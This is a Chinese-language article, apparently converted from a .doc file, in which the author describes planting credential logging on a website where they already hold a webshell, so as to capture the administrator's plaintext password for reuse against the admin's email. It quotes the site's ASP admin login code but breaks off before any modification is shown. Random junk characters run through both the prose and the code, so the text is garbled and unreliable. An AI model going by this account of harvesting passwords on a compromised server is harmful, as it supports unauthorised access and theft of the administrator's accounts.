asp记录管理员账号密码.doc.doc

asp 记录管理员账号密码在一次安全检测中,其实已拿到了 webshell 了, 但是我还要社工他的邮箱还有其他资料类,所以要得知道他的习性。 4= ?$!_,. ?下载了数据库,但是 md5 密码没办法解密。唉,看来只要记录他的登录管理员账号密码了! (77 Dif0)' 省得还要去穷取法破解! %SFw~%***@3&~ 这个密码其实说重要也不重要说不重要其实很重要。?b ? CTLt7k 因为很多人喜欢使用相同密码。即使是我这类安全检测人员,也免不了使用同一种账号密码的习惯。 b`?M9 f5?首先看看他的后台登陆代码} ? ??- _V ?Z <% ]: Wb1 Dim Login %0Vc\M@ "G Set Login=new AdLogin "\Y\ ?* ? Mb ?M?:3 Class AdLogin ; S{? ZC5 Private mCls X?^9 ? ?t Private Sub class_initialize EsS!07fAM: mCls=monCls Rf&^th}TH s-y'< ?(ll ? FP- 0<-9DO ("*") ? H74NU_ ? End Sub ?{?_+>"esc Private Sub class_terminate (}~ ? 1{C ?@ Set mCls=nothing BZ ? 8h*|uT" End Sub ^S>!k ? t7io public Sub Execute tauP1&%oH{ Dim Action )3d:S*ly ? ? Action=Request("action") 2- /Y Ye;C Select Case Action a .B\=3xn Case "CheckLogin" ? Bx_ ?8 ?@+ CheckLogin 9- ~*_(yjF Case "LoginOut" G? N8`xR{J* LoginOut u? ******@8 ?_9 Case Else t2- `X!- ` LoginF `3H ??*\<( End Select \]+$ ? U2 End Sub ?|i jW_r Private Sub CheckLogin 4l# ? ?T ? ?_y Dim Adname,AdPwd,CheckCode 1L ? ?(Nfkh AdName=(Trim(request("Adname"))) 1yY ?'h b,0 AdPwd=md5(Trim(request("AdPwd"))) 3w6J V+? CheckCode=(request("checkCode")) #=$;$: If Trim(CheckCode)<>session("excheckcode") and Application(sn&"IsCheckCode")=" 是" Then {& ? "验证码错误! ",Application(sn&"blogurl")&"" s}?p? GJ&C Exit Sub Z{|.xgs ?Y End If Jh ?/M} %@| If Trim(AdName)=CStr(Application(sn&"A